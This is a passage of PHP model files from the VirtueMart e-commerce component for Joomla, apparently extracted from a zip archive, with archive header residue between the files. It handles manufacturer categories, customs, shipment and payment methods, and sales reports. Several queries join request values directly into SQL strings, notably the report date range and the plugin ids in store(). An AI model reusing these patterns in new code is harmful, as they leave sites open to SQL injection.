$this->createMediaByIds($virtuemart_media_id,$type,$mime,$limit); //This should not be used in fact. It is for legacy reasons there. if(isset($object->images[0]->file_url_thumb)){ $object->file_url_thumb = $object->images[0]->file_url_thumb; $object->file_url = $object->images[0]->file_url; } } } } } // pure php no closing tag PK@y>\l$9;components/com_virtuemart/models/manufacturercategories.phpnuW+AsetMainTable('manufacturercategories'); $this->addvalidOrderingFieldName(array('mf_category_name')); $config=JFactory::getConfig(); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * */ // function getManufacturerCategory(){ //// $db = JFactory::getDBO(); // if (empty($this->_data)) { // $this->_data = $this->getTable('manufacturercategories'); // $this->_data->load((int)$this->_id); // } //// print_r( $this->_db->_sql ); // if (!$this->_data) { // $this->_data = new stdClass(); // $this->_id = 0; // $this->_data = null; // } // return $this->_data; // } /** * Delete all record ids selected * * @return boolean True is the remove was successful, false otherwise. */ function remove($categoryIds) { $table = $this->getTable('manufacturercategories'); foreach($categoryIds as $categoryId) { if($table->checkManufacturer($categoryId)) { if (!$table->delete($categoryId)) { vmError($table->getError()); return false; } } else { vmError(get_class( $this ).'::remove '.$categoryId.' '.$table->getError()); return false; } } return true; } /** * Retireve a list of countries from the database. * * @param string $onlyPuiblished True to only retreive the published categories, false otherwise * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of manufacturer categories objects */ function getManufacturerCategories($onlyPublished=false, $noLimit=false) { $this->_noLimit = $noLimit; $select = '* FROM `#__virtuemart_manufacturercategories_'.VMLANG.'` as l'; $joinedTables = ' JOIN `#__virtuemart_manufacturercategories` as mc using (`virtuemart_manufacturercategories_id`)'; $where = array(); if ($onlyPublished) { $where[] = ' `#__virtuemart_manufacturercategories`.`published` = 1'; } // $query .= ' ORDER BY `#__virtuemart_manufacturercategories`.`mf_category_name`'; $whereString = ''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; if ( JRequest::getCmd('view') == 'manufacturercategories') { $ordering = $this->_getOrdering(); } else { $ordering = ' order by mf_category_name DESC'; } return $this->_data = $this->exeSortSearchListQuery(0,$select,$whereString,$joinedTables,$ordering); } /** * Build category filter * * @return object List of category to build filter select box */ function getCategoryFilter(){ $db = JFactory::getDBO(); $query = 'SELECT `virtuemart_manufacturercategories_id` as `value`, `mf_category_name` as text' .' FROM #__virtuemart_manufacturercategories_'.VMLANG.'`'; $db->setQuery($query); $categoryFilter[] = JHTML::_('select.option', '0', '- '. JText::_('COM_VIRTUEMART_SELECT_MANUFACTURER_CATEGORY') .' -' ); $categoryFilter = array_merge($categoryFilter, (array)$db->loadObjectList()); return $categoryFilter; } } // pure php no closing tagPK@y>\W-:":"+components/com_virtuemart/models/custom.phpnuW+AsetMainTable('customs'); $this->setToggleName('admin_only'); $this->setToggleName('is_hidden'); } /** * Gets a single custom by virtuemart_custom_id * . * @param string $type * @param string $mime mime type of custom, use for exampel image * @return customobject */ function getCustom(){ if(empty($this->_data)){ // JTable::addIncludePath(JPATH_VM_ADMINISTRATOR.DS.'tables'); $this->_data = $this->getTable('customs'); $this->_data->load($this->_id); $customfields = VmModel::getModel('Customfields'); $this->_data->field_types = $customfields->getField_types() ; // vmdebug('getCustom $data',$this->_data); if(!empty($this->_data->custom_jplugin_id)){ JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); // $varsToPushParam = $dispatcher->trigger('plgVmDeclarePluginParams',array('custom',$this->_data->custom_element,$this->_data->custom_jplugin_id)); $retValue = $dispatcher->trigger('plgVmDeclarePluginParamsCustom',array('custom',$this->_data->custom_element,$this->_data->custom_jplugin_id,&$this->_data)); } else { //Todo this is not working, because the custom is using custom_params, while the customfield is using custom_param ! //VirtueMartModelCustomfields::bindParameterableByFieldType($this->_data); } } return $this->_data; } /** * Retireve a list of customs from the database. This is meant only for backend use * * @author Kohl Patrick, Max Milbers * @return object List of custom objects */ function getCustoms($custom_parent_id,$search = false){ $query='* FROM `#__virtuemart_customs` WHERE field_type <> "R" AND field_type <> "Z" AND field_type <> "G" '; if($custom_parent_id){ $query .= 'AND `custom_parent_id` ='.(int)$custom_parent_id; } if($search){ $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; $query .= 'AND `custom_title` LIKE '.$search; } $datas = new stdClass(); $datas->items = $this->exeSortSearchListQuery(0, $query, '','',$this->_getOrdering()); $customfields = VmModel::getModel('Customfields'); if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'html.php'); $datas->field_types = $customfields->getField_types() ; foreach ($datas->items as $key => & $data) { if (!empty($data->custom_parent_id)) $data->custom_parent_title = $customfields->getCustomParentTitle($data->custom_parent_id); else { $data->custom_parent_title = '-' ; } if(!empty($datas->field_types[$data->field_type ])){ $data->field_type_display = vmText::_( $datas->field_types[$data->field_type ] ); } else { $data->field_type_display = 'not valid, delete this line'; vmError('The field with id '.$data->virtuemart_custom_id.' and title '.$data->custom_title.' is not longer valid, please delete it from the list'); } } $datas->customsSelect=$customfields->displayCustomSelection(); return $datas; } /** * Creates a clone of a given custom id * * @author Max Milbers * @param int $virtuemart_product_id */ public function createClone($id){ $this->virtuemart_custom_id = $id; $row = $this->getTable('customs'); $row->load( $id ); $row->virtuemart_custom_id = 0; $row->custom_title = $row->custom_title.' Copy'; if (!$clone = $row->store()) { JError::raiseError(500, 'createClone '. $row->getError() ); } return $clone; } /* Save and delete from database * all Child product custom_fields relation * @ var $table : the xref table(eg. product,category ...) * @array $data : array of customfields * @int $id : The concerned id (eg. product_id) **/ public function saveChildCustomRelation($table,$datas) { JRequest::checkToken() or jexit( 'Invalid Token, in store customfields'); //Table whitelist $tableWhiteList = array('product','category','manufacturer'); if(!in_array($table,$tableWhiteList)) return false; $customfieldIds = array(); // delete existings from modelXref and table customfields foreach ($datas as $child_id =>$fields) { $fields['virtuemart_'.$table.'_id']=$child_id; $this->_db->setQuery( 'DELETE PC FROM `#__virtuemart_'.$table.'_customfields` as `PC`, `#__virtuemart_customs` as `C` WHERE `PC`.`virtuemart_custom_id` = `C`.`virtuemart_custom_id` AND field_type="C" and virtuemart_'.$table.'_id ='.$child_id ); if(!$this->_db->query()){ vmError('Error in deleting child relation '); //.$this->_db->getQuery()); Dont give hackers too much info } $tableCustomfields = $this->getTable($table.'_customfields'); $tableCustomfields->bindChecknStore($fields); $errors = $tableCustomfields->getErrors(); foreach($errors as $error){ vmError($error); } } } public function store(&$data){ if(!empty($data['params'])){ foreach($data['params'] as $k=>$v){ $data[$k] = $v; } } if(empty($data['virtuemart_vendor_id'])){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $data['virtuemart_vendor_id'] = VirtueMartModelVendor::getLoggedVendor(); } else { $data['virtuemart_vendor_id'] = (int) $data['virtuemart_vendor_id']; } // missing string FIX, Bad way ? if (JVM_VERSION===1) { $tb = '#__plugins'; $ext_id = 'id'; } else { $tb = '#__extensions'; $ext_id = 'extension_id'; } $q = 'SELECT `element` FROM `' . $tb . '` WHERE `' . $ext_id . '` = "'.$data['custom_jplugin_id'].'"'; $this->_db->setQuery($q); $data['custom_element'] = $this->_db->loadResult(); // vmdebug('store custom',$data); $table = $this->getTable('customs'); if(isset($data['custom_jplugin_id'])){ vmdebug('$data store custom',$data); JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); // $retValue = $dispatcher->trigger('plgVmSetOnTablePluginParamsCustom',array($data['custom_value'],$data['custom_jplugin_id'],&$table)); $retValue = $dispatcher->trigger('plgVmSetOnTablePluginParamsCustom',array($data['custom_element'],$data['custom_jplugin_id'],&$table)); } $table->bindChecknStore($data); $errors = $table->getErrors(); if(!empty($errors)){ foreach($errors as $error){ vmError($error); } } JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); $error = $dispatcher->trigger('plgVmOnStoreInstallPluginTable', array('custom' , $data, $data['custom_element'])); return $table->virtuemart_custom_id ; } /** * Delete all record ids selected * * @author Max Milbers * @return boolean True is the delete was successful, false otherwise. */ public function remove($ids) { $table = $this->getTable($this->_maintablename); $customfields = $this->getTable ('product_customfields'); foreach($ids as $id) { if (!$table->delete((int)$id)) { vmError(get_class( $this ).'::remove '.$id.' '.$table->getError()); return false; } else { //Delete this customfield also in all product_customfield tables if (!$customfields->delete ($id, 'virtuemart_custom_id')) { vmError ('Custom delete Productcustomfield delete ' . $customfields->getError ()); $ok = FALSE; } } } return true; } } // pure php no closing tag PK@y>\X0components/com_virtuemart/models/orderstatus.phpnuW+AsetMainTable('orderstates'); } function getVMCoreStatusCode(){ return array( 'P','S'); } /** * Retrieve a list of order statuses from the database. * * @return object List of order status objects */ function getOrderStatusList() { if (JRequest::getWord('view') !== 'orderstatus') $ordering = ' order by `ordering` '; else $ordering = $this->_getOrdering(); $this->_noLimit=true; $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_orderstates`','','',$ordering); // vmdebug('order data',$this->_data); return $this->_data ; } /** * Return the order status names * * @author Kohl Patrick * @access public * * @param char $_code Order status code * @return string The name of the order status */ public function getOrderStatusNames () { $q = 'SELECT `order_status_name`,`order_status_code` FROM `#__virtuemart_orderstates` order by `ordering` '; $this->_db->setQuery($q); return $this->_db->loadAssocList('order_status_code'); } function renderOSList($value,$name = 'order_status',$multiple=FALSE,$attrs='',$langkey='' ){ $idA = $id = $name; $attrs .= ' class="inputbox" '; if ($multiple) { $attrs .= ' multiple="multiple" '; if(empty($langkey)) $langkey = 'COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS'; $attrs .= ' data-placeholder="'.JText::_($langkey).'"'; $idA .= '[]'; } else { if(empty($langkey)) $langkey = 'COM_VIRTUEMART_LIST_EMPTY_OPTION'; } if(is_array($value)){ $hashValue = implode($value); } else { $hashValue = $value; } $hash = md5($hashValue.$name.$attrs); if (!isset($this->_renderStatusList[$hash])) { $orderStates = $this->getOrderStatusNames(); $emptyOption = JHTML::_ ('select.option', -1, JText::_ ($langkey), 'order_status_code', 'order_status_name'); array_unshift ($orderStates, $emptyOption); if ($multiple) { $attrs .=' size="'.count($orderStates).'" '; } $this->_renderStatusList[$hash] = JHTML::_('select.genericlist', $orderStates, $idA, $attrs, 'order_status_code', 'order_status_name', $value,$id,true); } return $this->_renderStatusList[$hash] ; } function renderOrderStatusList($value, $name = 'order_status[]' ) { $id = substr($name,0,-2); return $this->renderOSList($value,$id,TRUE); } } //No Closing tag PK@y>\)*components/com_virtuemart/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\$Xq!!3components/com_virtuemart/models/shipmentmethod.phpnuW+AsetMainTable('shipmentmethods'); $this->_selectedOrdering = 'ordering'; } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author RickG */ function getShipment() { if (empty($this->_data[$this->_id])) { $this->_data[$this->_id] = $this->getTable('shipmentmethods'); $this->_data[$this->_id]->load((int)$this->_id); if(empty($this->_data[$this->_id]->virtuemart_vendor_id)){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $this->_data[$this->_id]->virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor();; } if($this->_data[$this->_id]->shipment_jplugin_id){ JPluginHelper::importPlugin('vmshipment'); $dispatcher = JDispatcher::getInstance(); $retValue = $dispatcher->trigger('plgVmDeclarePluginParamsShipment',array($this->_data[$this->_id]->shipment_element,$this->_data[$this->_id]->shipment_jplugin_id,&$this->_data[$this->_id])); } if($this->_data[$this->_id]->getCryptedFields()){ if(!class_exists('vmCrypt')){ require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php'); } if(isset($this->_data[$this->_id]->modified_on)){ $date = JFactory::getDate($this->_data[$this->_id]->modified_on); $date = $date->toUnix(); } else { $date = 0; } foreach($this->_data[$this->_id]->getCryptedFields() as $field){ if(isset($this->_data[$this->_id]->$field)){ $this->_data[$this->_id]->$field = vmCrypt::decrypt($this->_data[$this->_id]->$field,$date); } } } // vmdebug('$$this->_data getShipment',$this->_data); //if(!empty($this->_id)){ /* Add the shipmentcarreir shoppergroups */ $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_shipmentmethod_shoppergroups WHERE `virtuemart_shipmentmethod_id` = "'.$this->_id.'"'; $this->_db->setQuery($q); $this->_data[$this->_id]->virtuemart_shoppergroup_ids = $this->_db->loadResultArray();# if(empty($this->_data[$this->_id]->virtuemart_shoppergroup_ids)) $this->_data[$this->_id]->virtuemart_shoppergroup_ids = 0; //} } return $this->_data[$this->_id]; } /** * Retireve a list of shipment from the database. * * @author RickG * @return object List of shipment objects */ public function getShipments() { if (JVM_VERSION===1) { $table = '#__plugins'; $enable = 'published'; $ext_id = 'id'; } else { $table = '#__extensions'; $enable = 'enabled'; $ext_id = 'extension_id'; } $query = ' `#__virtuemart_shipmentmethods`.* , `'.$table.'`.`name` as shipmentmethod_name FROM `#__virtuemart_shipmentmethods` '; $query .= 'JOIN `'.$table.'` ON `'.$table.'`.`'.$ext_id.'` = `#__virtuemart_shipmentmethods`.`shipment_jplugin_id` '; $whereString = ''; $select = ' * FROM `#__virtuemart_shipmentmethods_'.VMLANG.'` as l '; $joinedTables = ' JOIN `#__virtuemart_shipmentmethods` USING (`virtuemart_shipmentmethod_id`) '; $this->_data =$this->exeSortSearchListQuery(0,$select,$joinedTables,$whereString,' ',$this->_getOrdering() ); //$this->_data = $this->exeSortSearchListQuery(0,'',$query,$whereString,'',$this->_getOrdering('ordering')); if(isset($this->_data)){ if(!class_exists('shopfunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); foreach ($this->_data as $data){ /* Add the shipment shoppergroups */ $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_shipmentmethod_shoppergroups WHERE `virtuemart_shipmentmethod_id` = "'.$data->virtuemart_shipmentmethod_id.'"'; $this->_db->setQuery($q); $data->virtuemart_shoppergroup_ids = $this->_db->loadResultArray(); /* Write the first 5 shoppergroups in the list */ $data->shipmentShoppersList = shopfunctions::renderGuiList('virtuemart_shoppergroup_id','#__virtuemart_shipmentmethod_shoppergroups','virtuemart_shipmentmethod_id',$data->virtuemart_shipmentmethod_id,'shopper_group_name','#__virtuemart_shoppergroups','virtuemart_shoppergroup_id','shoppergroup',4,0); } } return $this->_data; } /** * Bind the post data to the shipment tables and save it * * @author Max Milbers * @return boolean True is the save was successful, false otherwise. */ public function store(&$data) { if(is_object($data)){ $data = (array)$data; } if(!empty($data['params'])){ foreach($data['params'] as $k=>$v){ $data[$k] = $v; } } if(empty($data['virtuemart_vendor_id'])){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $data['virtuemart_vendor_id'] = VirtueMartModelVendor::getLoggedVendor(); } $table = $this->getTable('shipmentmethods'); if(isset($data['shipment_jplugin_id'])){ // missing string FIX, Bad way ? if (JVM_VERSION===1) { $tb = '#__plugins'; $ext_id = 'id'; } else { $tb = '#__extensions'; $ext_id = 'extension_id'; } $q = 'SELECT `element` FROM `' . $tb . '` WHERE `' . $ext_id . '` = "'.$data['shipment_jplugin_id'].'"'; $db = JFactory::getDbo(); $db->setQuery($q); $data['shipment_element'] = $db->loadResult(); $q = 'UPDATE `' . $tb . '` SET `enabled`= 1 WHERE `' . $ext_id . '` = "'.$data['shipment_jplugin_id'].'"'; $this->_db->setQuery($q); $this->_db->query(); JPluginHelper::importPlugin('vmshipment'); $dispatcher = JDispatcher::getInstance(); //bad trigger, we should just give it data, so that the plugins itself can check the data to be stored //so this trigger is now deprecated and will be deleted in vm3 $retValue = $dispatcher->trigger('plgVmSetOnTablePluginParamsShipment',array( $data['shipment_element'],$data['shipment_jplugin_id'],&$table)); $retValue = $dispatcher->trigger('plgVmSetOnTablePluginShipment',array( &$data,&$table)); } $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } $xrefTable = $this->getTable('shipmentmethod_shoppergroups'); $xrefTable->bindChecknStore($data); $errors = $xrefTable->getErrors(); foreach($errors as $error){ vmError($error); } if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); //Add a hook here for other shipment methods, checking the data of the choosed plugin $dispatcher = JDispatcher::getInstance(); $retValues = $dispatcher->trigger('plgVmOnStoreInstallShipmentPluginTable', array( $data['shipment_jplugin_id'])); return $table->virtuemart_shipmentmethod_id; } /** * Creates a clone of a given shipmentmethod id * * @author Valérie Isaksen * @param int $virtuemart_shipmentmethod_id */ public function createClone ($id) { $this->setId ($id); $shipment = $this->getShipment (); $shipment->virtuemart_shipmentmethod_id = 0; $shipment->shipment_name = $shipment->shipment_name.' Copy'; if (!$clone = $this->store($shipment)) { vmError( 'createClone '. $shipment->getError() ); } return $clone; } } //no closing tag PK@y>\A|9|9+components/com_virtuemart/models/report.phpnuW+AsetMainTable ('orders'); $this->setDatePresets (); $app = JFactory::getApplication (); $this->period = $app->getUserStateFromRequest ('com_virtuemart.revenue.period', 'period', 'last30', 'string'); //$post = JRequest::get ('post'); //vmdebug ('$post ', $post); if (empty($this->period) or $this->period != 'none') { $this->setPeriodByPreset (); } else { $this->setPeriod (); } $this->removevalidOrderingFieldName ('virtuemart_order_id'); $this->addvalidOrderingFieldName (array('product_quantity', 'o.virtuemart_order_id')); $this->_selectedOrdering = 'created_on'; } function correctTimeOffset(&$inputDate){ $config = JFactory::getConfig(); $this->siteOffset = $config->getValue('config.offset'); $date = new JDate($inputDate); $date->setTimezone($this->siteTimezone); $inputDate = $date->format('Y-m-d H:i:s',true); } /* * Set Start & end Date */ function setPeriod () { $this->from_period = JRequest::getVar ('from_period', $this->date_presets['last30']['from']); $this->until_period = JRequest::getVar ('until_period', $this->date_presets['last30']['until']); $config = JFactory::getConfig(); $siteOffset = $config->getValue('config.offset'); $this->siteTimezone = new DateTimeZone($siteOffset); $this->correctTimeOffset($this->from_period); $this->correctTimeOffset($this->until_period); } /* * Set Start & end Date if Var peroid */ function setPeriodByPreset () { $this->from_period = $this->date_presets[$this->period]['from']; $this->until_period = $this->date_presets[$this->period]['until']; $config = JFactory::getConfig(); $siteOffset = $config->getValue('config.offset'); $this->siteTimezone = new DateTimeZone($siteOffset); $this->correctTimeOffset($this->from_period); $this->correctTimeOffset($this->until_period); } function getItemsByRevenue ($revenue) { $q = 'select SUM(`product_quantity`) as product_quantity from `#__virtuemart_order_items` as i LEFT JOIN #__virtuemart_orders as o ON o.virtuemart_order_id=i.virtuemart_order_id ' . $this->whereItem . ' CAST(' . $this->intervals . ' AS DATE) = CAST("' . $revenue['intervals'] . '" AS DATE) '; $this->_db->setQuery ($q); //echo $this->_db->_sql; return $this->_db->loadResult (); } function getRevenueSortListOrderQuery ($sold = FALSE, $items = FALSE) { $selectFields = array(); $mainTable = ''; $joinTables = array(); $joinedTables = ''; $where = array(); // group always by intervals (day,week, ... or ID) and set grouping and defaut ordering $intervals = JRequest::getWord ('intervals', 'day'); switch ($intervals) { case 'day': $this->intervals = 'DATE( o.created_on )'; break; case 'week': $this->intervals = 'WEEK( o.created_on )'; break; case 'month': $this->intervals = 'MONTH( o.created_on )'; break; case 'year': $this->intervals = 'YEAR( o.created_on )'; break; default: // invidual grouping $this->intervals = 'o.created_on'; break; } // if(!empty($this->intervals)){ // $orderBy = $this->_getOrdering('o.`created_on`'); // } $selectFields['intervals'] = $this->intervals . ' AS intervals, CAST( o.`created_on` AS DATE ) AS created_on'; vmdebug('getRevenueSortListOrderQuery '.$intervals); if($intervals=='product_s'){ $selectFields[] = '`order_item_name`'; $selectFields[] = '`virtuemart_product_id`'; $groupBy = 'GROUP BY `virtuemart_product_id` '; } else { $groupBy = 'GROUP BY intervals '; } //$selectFields[] = 'COUNT(virtuemart_order_id) as number_of_orders'; //with tax => brutto //$selectFields[] = 'SUM(product_subtotal_with_tax) as order_total'; //without tax => netto //$selectFields[] = 'SUM(product_item_price) as order_subtotal'; $selectFields[] = 'SUM(product_discountedPriceWithoutTax * product_quantity) as order_subtotal_netto'; $selectFields[] = 'SUM(product_subtotal_with_tax) as order_subtotal_brutto'; $this->dates = ' DATE( o.created_on ) BETWEEN "' . $this->from_period . '" AND "' . $this->until_period . '" '; $statusList = array(); // Filter by statut if ($orderstates = JRequest::getVar ('order_status_code', array('C,S'))) { $query = 'SELECT `order_status_code` FROM `#__virtuemart_orderstates` WHERE published=1 '; $this->_db->setQuery ($query); $list = $this->_db->loadResultArray (); foreach ($orderstates as $val) { if (in_array ($val, $list)) { $statusList[] = '`i`.`order_status` = "' . $val . '"'; } } if ($statusList) { $where[] = '(' . implode (' OR ', $statusList) . ')'; } } //getRevenue // select wich table to order sum ordered $filterorders = JRequest::getvar ('filter_order', 'intervals'); $orderdir = (JRequest::getWord ('filter_order_Dir', NULL) == 'desc') ? 'desc' : ''; switch ($filterorders) { case 'o.virtuemart_order_id': $orderBy = ' ORDER BY count_order_id ' . $orderdir; $groupBy = 'GROUP BY intervals '; break; case 'product_quantity' : // GROUP BY product_quantity, intervals // ORDER BY `product_quantity` ASC // TODO grouping and ordering $orderBy = ' ORDER BY product_quantity ' . $orderdir; $groupBy = 'GROUP BY intervals '; //$selectFields['intervals'] = $this->intervals.' AS intervals, i.`created_on` '; break; case 'o.order_subtotal' : $orderBy = ' ORDER BY order_subtotal'; break; //getOrderItemsSumGrouped($this->intervals , $filterorders); break; default: // invidual grouping $orderBy = $this->_getOrdering (); vmdebug ('default case', $orderBy); //$this->intervals= '`o`.`created_on`'; // $orderBy = ' ORDER BY '.$filterorders.' '.$orderdir; break; } $selectFields[] = 'COUNT(DISTINCT o.virtuemart_order_id) as count_order_id'; $selectFields[] = 'SUM(product_quantity) as product_quantity'; $mainTable = '`#__virtuemart_order_items` as i'; $joinTables['orders'] = ' LEFT JOIN `#__virtuemart_orders` as o ON o.virtuemart_order_id=i.virtuemart_order_id '; if (count ($selectFields) > 0) { $select = implode (', ', $selectFields) . ' FROM ' . $mainTable; //$selectFindRows = 'SELECT COUNT(*) FROM '.$mainTable; if (count ($joinTables) > 0) { foreach ($joinTables as $table) { $joinedTables .= $table; } } } else { vmError ('No select fields given in getRevenueSortListOrderQuery', 'No select fields given'); return FALSE; } $virtuemart_product_id = JRequest::getInt ('virtuemart_product_id', FALSE); if ($virtuemart_product_id) { $where[] = 'i.virtuemart_product_id = "' . $virtuemart_product_id . '" '; } if (VmConfig::get ('multix', 'none') != 'none') { $vendorId = JRequest::getInt ('virtuemart_vendor_id', 0); if ($vendorId != 0) { $where[] = 'i.virtuemart_vendor_id = "' . $vendorId . '" '; } } if (count ($where) > 0) { $this->whereItem = ' WHERE ' . implode (' AND ', $where) . ' AND '; } else { $this->whereItem = ' WHERE '; } // $this->whereItem; /* WHERE differences with orders and items from orders are only date periods and ordering */ $whereString = $this->whereItem . $this->dates; return $this->exeSortSearchListQuery (1, $select, $joinedTables, $whereString, $groupBy, $orderBy); } /** * Retrieve a list of report items from the database. * * @author Wicksj * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of order objects */ function getRevenue ($noLimit = FALSE) { return $this->getRevenueSortListOrderQuery (); } /** * Retrieve a list of report items from the database. * DONT know why this ???? Patrick Kohl * * @author Wicksj * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of order objects */ function getOrderItems ($noLimit = FALSE) { // $db = JFactory::getDBO(); $query = "SELECT `product_name`, `product_sku`, "; $query .= "i.created_on as order_date, "; $query .= "SUM(product_quantity) as product_quantity "; $query .= "FROM #__virtuemart_order_items i, #__virtuemart_orders o, #__virtuemart_products p "; $query .= "WHERE i.created_on BETWEEN '{$this->start_date} 00:00:00' AND '{$this->until_period} 23:59:59' "; $query .= "AND o.virtuemart_order_id=i.virtuemart_order_id "; $query .= "AND i.virtuemart_product_id=p.virtuemart_product_id "; $query .= "GROUP BY product_sku, product_name, order_date "; $query .= " ORDER BY order_date, product_name ASC"; if ($noLimit) { $this->_data = $this->_getList ($query); } else { $this->_data = $this->_getList ($query, $this->getState ('limitstart'), $this->getState ('limit')); } if (!$this->_total) { $this->_total = $this->_getListCount ($query); } return $this->_data; } public function setDatePresets () { if ($this->date_presets) { return $this->date_presets; } // set date presets $curDate = JFactory::getDate (); $curDate = $curDate->toUnix (); $curDate = mktime (0, 0, 0, date ('m', $curDate), date ('d', $curDate), date ('Y', $curDate)); $monday = (date ('w', $curDate) == 1) ? $curDate : strtotime ('last Monday', $curDate); $this->date_presets['last90'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_LAST90'), 'from' => date ('Y-m-d', strtotime ('-89 day', $curDate)), 'until' => date ('Y-m-d', $curDate)); $this->date_presets['last60'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_LAST60'), 'from' => date ('Y-m-d', strtotime ('-59 day', $curDate)), 'until' => date ('Y-m-d', $curDate)); $this->date_presets['last30'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_LAST30'), 'from' => date ('Y-m-d', strtotime ('-29 day', $curDate)), 'until' => date ('Y-m-d', $curDate)); $this->date_presets['today'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_TODAY'), 'from' => date ('Y-m-d', $curDate), 'until' => date ('Y-m-d', $curDate)); $this->date_presets['this-week'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_THIS_WEEK'), 'from' => date ('Y-m-d', $monday), 'until' => date ('Y-m-d', strtotime ('+6 day', $monday))); $this->date_presets['this-month'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_THIS_MONTH'), 'from' => date ('Y-m-d', mktime (0, 0, 0, date ('n', $curDate), 1, date ('Y', $curDate))), 'until' => date ('Y-m-d', mktime (0, 0, 0, date ('n', $curDate) + 1, 0, date ('Y', $curDate)))); $this->date_presets['this-year'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_THIS_YEAR'), 'from' => date ('Y-m-d', mktime (0, 0, 0, 1, 1, date ('Y', $curDate))), 'until' => date ('Y-m-d', mktime (0, 0, 0, 12, 31, date ('Y', $curDate)))); } public function renderDateSelectList () { // simpledate select $select = ''; $options = array(JHTML::_ ('select.option', 'none', '- ' . JText::_ ('COM_VIRTUEMART_REPORT_SET_PERIOD') . ' -', 'text', 'value')); $app = JFactory::getApplication (); $select = $app->getUserStateFromRequest ('com_virtuemart.revenue.period', 'period', 'last30', 'string'); foreach ($this->date_presets as $name => $value) { $options[] = JHTML::_ ('select.option', $name, JText::_ ($value['name']), 'text', 'value'); } $listHTML = JHTML::_ ('select.genericlist', $options, 'period', 'size="7" class="inputbox" onchange="this.form.submit();" ', 'text', 'value', $select); //$listHTML = JHTML::_ ('select.genericlist', $options, 'period', 'size="7" class="inputbox" ', 'text', 'value', $select); return $listHTML; } public function renderIntervalsList () { $intervals = JRequest::getWord ('intervals', 'day'); $options = array(); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_PRODUCT_S'), 'product_s'); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_ORDERS'), 'orders'); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_REPORT_INTERVAL_GROUP_DAILY'), 'day'); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_REPORT_INTERVAL_GROUP_WEEKLY'), 'week'); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_REPORT_INTERVAL_GROUP_MONTHLY'), 'month'); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_REPORT_INTERVAL_GROUP_YEARLY'), 'year'); //$listHTML = JHTML::_ ('select.genericlist', $options, 'intervals', 'class="inputbox" onchange="this.form.submit();" size="5"', 'text', 'value', $intervals); $listHTML = JHTML::_ ('select.genericlist', $options, 'intervals', 'class="inputbox" size="6"', 'text', 'value', $intervals); return $listHTML; } public function updateOrderItems () { $q = 'UPDATE #__virtuemart_order_items SET `product_discountedPriceWithoutTax`=( (IF(product_final_price is NULL, 0.00,product_final_price) - IF(product_tax is NULL, 0.00,product_tax) )) WHERE `product_discountedPriceWithoutTax` IS NULL'; $this->_db = JFactory::getDBO(); $this->_db->setQuery($q); $this->_db->query(); } } PK@y>\}9ǐ&&2components/com_virtuemart/models/paymentmethod.phpnuW+AsetMainTable('paymentmethods'); $this->_selectedOrdering = 'ordering'; } /** * Gets the virtuemart_paymentmethod_id with a plugin and vendorId * * @author Max Milbers */ public function getIdbyCodeAndVendorId($jpluginId,$vendorId=1){ if(!$jpluginId) return 0; $q = 'SELECT `virtuemart_paymentmethod_id` FROM #__virtuemart_paymentmethods WHERE `payment_jplugin_id` = "'.$jpluginId.'" AND `virtuemart_vendor_id` = "'.$vendorId.'" '; $this->_db->setQuery($q); return $this->_db->loadResult(); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author Max Milbers */ public function getPayment(){ if (empty($this->_data[$this->_id])) { $this->_data[$this->_id] = $this->getTable('paymentmethods'); $this->_data[$this->_id]->load((int)$this->_id); if(empty($this->_data->virtuemart_vendor_id)){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $this->_data[$this->_id]->virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor(); } if($this->_data[$this->_id]->payment_jplugin_id){ JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $retValue = 